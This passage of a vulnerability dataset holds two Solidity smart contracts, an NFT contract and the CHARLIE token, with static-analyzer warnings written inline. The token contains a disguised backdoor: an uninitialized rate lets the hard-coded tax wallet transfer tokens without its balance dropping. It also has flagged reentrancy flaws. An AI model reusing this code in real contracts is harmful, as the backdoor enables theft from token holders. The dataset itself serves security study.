errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n\n uint256 temp = value;\n\n uint256 length = 0;\n\n while (temp != 0) {\n length++;\n\n temp >>= 8;\n }\n\n return toHexString(value, length);\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n\n address owner = ERC721.ownerOf(tokenId);\n\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n\ncontract TupaiVillas is ERC721, Ownable {\n using Strings for uint256;\n\n string baseURI;\n\n string baseExtension = \".json\";\n\n address public marketplace;\n\n mapping(address => bool) public isKYC;\n\n constructor() ERC721(\"Tupai Villas\", \"TUPAI\") {}\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 2539a3c): TupaiVillas.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(currentBaseURI,tokenId.toString(),baseExtension))\n\t// Recommendation for 2539a3c: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(_exists(tokenId), \"wrong id\");\n\n string memory currentBaseURI = _baseURI();\n\n\t\t// encode-packed-collision | ID: 2539a3c\n return\n bytes(currentBaseURI).length > 0\n ? string(\n abi.encodePacked(\n currentBaseURI,\n tokenId.toString(),\n baseExtension\n )\n )\n : \"\";\n }\n\n function setBaseURIAndExtension(\n string memory _newBaseURI,\n string memory _newBaseExtension\n ) external onlyOwner {\n baseURI = _newBaseURI;\n\n baseExtension = _newBaseExtension;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 80d9c0c): TupaiVillas.setMarketplace(address)._marketplace lacks a zerocheck on \t marketplace = _marketplace\n\t// Recommendation for 80d9c0c: Check that the address is not zero.\n function setMarketplace(address _marketplace) external onlyOwner {\n\t\t// missing-zero-check | ID: 80d9c0c\n marketplace = _marketplace;\n }\n\n function setKYCAddress(\n address[] memory _users,\n bool[] memory _isKYC\n ) external onlyOwner {\n for (uint256 i = 0; i < _users.length; i++) {\n isKYC[_users[i]] = _isKYC[i];\n }\n }\n\n function adminMint(\n address[] memory _to,\n uint256[] memory _id\n ) external onlyOwner {\n for (uint256 i = 0; i < _to.length; i++) {\n _mint(_to[i], _id[i]);\n }\n }\n\n function adminTransfer(\n address _from,\n address _to,\n uint256 _tokenId\n ) external onlyOwner {\n _transfer(_from, _to, _tokenId);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0) && msg.sender != owner()) {\n require(\n (isKYC[to] && msg.sender == marketplace) || to == marketplace,\n \"unallowed address\"\n );\n }\n\n super._beforeTokenTransfer(from, to, tokenId);\n }\n}\n",
"file_name": "solidity_code_10794.sol",
"size_bytes": 19636,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function balanceOf(address account) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract CHARLIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 29cd46d): CHARLIE._taxWallet should be immutable \n\t// Recommendation for 29cd46d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30eb47f): CHARLIE._initialBuyTax should be constant \n\t// Recommendation for 30eb47f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79c89a8): CHARLIE._initialSellTax should be constant \n\t// Recommendation for 79c89a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1196038): CHARLIE._finalBuyTax should be constant \n\t// Recommendation for 1196038: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c88b75): CHARLIE._finalSellTax should be constant \n\t// Recommendation for 0c88b75: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28ffc9c): CHARLIE._reduceBuyTaxAt should be constant \n\t// Recommendation for 28ffc9c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 32;\n\n\t// WARNING Optimization Issue (constable-states | ID: ede7c8f): CHARLIE._reduceSellTaxAt should be constant \n\t// Recommendation for ede7c8f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 32;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a9f64d): CHARLIE._preventSwapBefore should be constant \n\t// Recommendation for 5a9f64d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 32;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ETH Mascot\";\n\n string private constant _symbol = unicode\"CHARLIE\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6190843): CHARLIE._taxSwapThreshold should be constant \n\t// Recommendation for 6190843: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06c6705): CHARLIE._maxTaxSwap should be constant \n\t// Recommendation for 06c6705: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n struct CommerceRateRecord {\n uint256 comToken;\n uint256 convToken;\n uint256 comTotal;\n }\n\n mapping(address => CommerceRateRecord) private commerceRate;\n\n IUniswapV2Router02 private _uniswapRouter;\n\n address private _uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fbf3a1): CHARLIE.initialComRate should be constant \n\t// Recommendation for 6fbf3a1: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2cc3466): CHARLIE.initialComRate is never initialized. It is used in CHARLIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2cc3466: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initialComRate;\n\n uint256 private finalComRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0xCFF49471F1112420a8BEe246c79F2D23Da33Dd7e);\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 309237a): CHARLIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 309237a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ceb7b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ceb7b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d8f9810): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d8f9810: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1ceb7b5\n\t\t// reentrancy-benign | ID: d8f9810\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1ceb7b5\n\t\t// reentrancy-benign | ID: d8f9810\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd2f736): CHARLIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd2f736: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d8f9810\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1ceb7b5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8418370): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8418370: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 939e1c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 939e1c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 243ca89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 243ca89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniPair &&\n to != address(_uniswapRouter) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8418370\n\t\t\t\t// reentrancy-benign | ID: 939e1c5\n\t\t\t\t// reentrancy-eth | ID: 243ca89\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8418370\n\t\t\t\t\t// reentrancy-eth | ID: 243ca89\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 939e1c5\n finalComRate = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (to == _uniPair) {\n CommerceRateRecord storage rateInfo = commerceRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 939e1c5\n rateInfo.comTotal = rateInfo.comToken - finalComRate;\n\n\t\t\t\t// reentrancy-benign | ID: 939e1c5\n rateInfo.convToken = block.timestamp;\n } else {\n CommerceRateRecord storage toRateInfo = commerceRate[to];\n\n if (_uniPair == from) {\n if (toRateInfo.comToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 939e1c5\n toRateInfo.comToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n CommerceRateRecord storage rateInfo = commerceRate[from];\n\n if (\n !(toRateInfo.comToken > 0) ||\n rateInfo.comToken < toRateInfo.comToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 939e1c5\n toRateInfo.comToken = rateInfo.comToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 8418370\n\t\t// reentrancy-eth | ID: 243ca89\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2cc3466): CHARLIE.initialComRate is never initialized. It is used in CHARLIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2cc3466: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initialComRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 243ca89\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8418370\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 243ca89\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 243ca89\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 8418370\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1ceb7b5\n\t\t// reentrancy-events | ID: 8418370\n\t\t// reentrancy-benign | ID: d8f9810\n\t\t// reentrancy-benign | ID: 939e1c5\n\t\t// reentrancy-eth | ID: 243ca89\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1ceb7b5\n\t\t// reentrancy-events | ID: 8418370\n\t\t// reentrancy-eth | ID: 243ca89\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4959c1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4959c1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0a8bea3): CHARLIE.openTrading() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0a8bea3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 80f047d): CHARLIE.openTrading() ignores return value by IERC20(_uniPair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for 80f047d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ea0ff92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ea0ff92: Apply the check-effects-interactions pattern (see 